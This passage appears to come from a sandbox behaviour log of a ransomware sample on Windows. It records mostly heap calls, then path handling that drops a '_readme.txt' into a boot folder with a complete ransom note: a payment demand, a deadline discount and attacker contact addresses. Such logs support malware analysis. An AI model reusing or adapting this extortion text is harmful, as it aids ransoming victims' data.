dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.004] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.004] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.004] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.004] PathFindFileNameW (pszPath="") returned="" [0267.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.005] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.005] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.005] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.006] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81c) returned 0x31099a8 [0267.006] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0267.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.006] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0267.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.006] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and 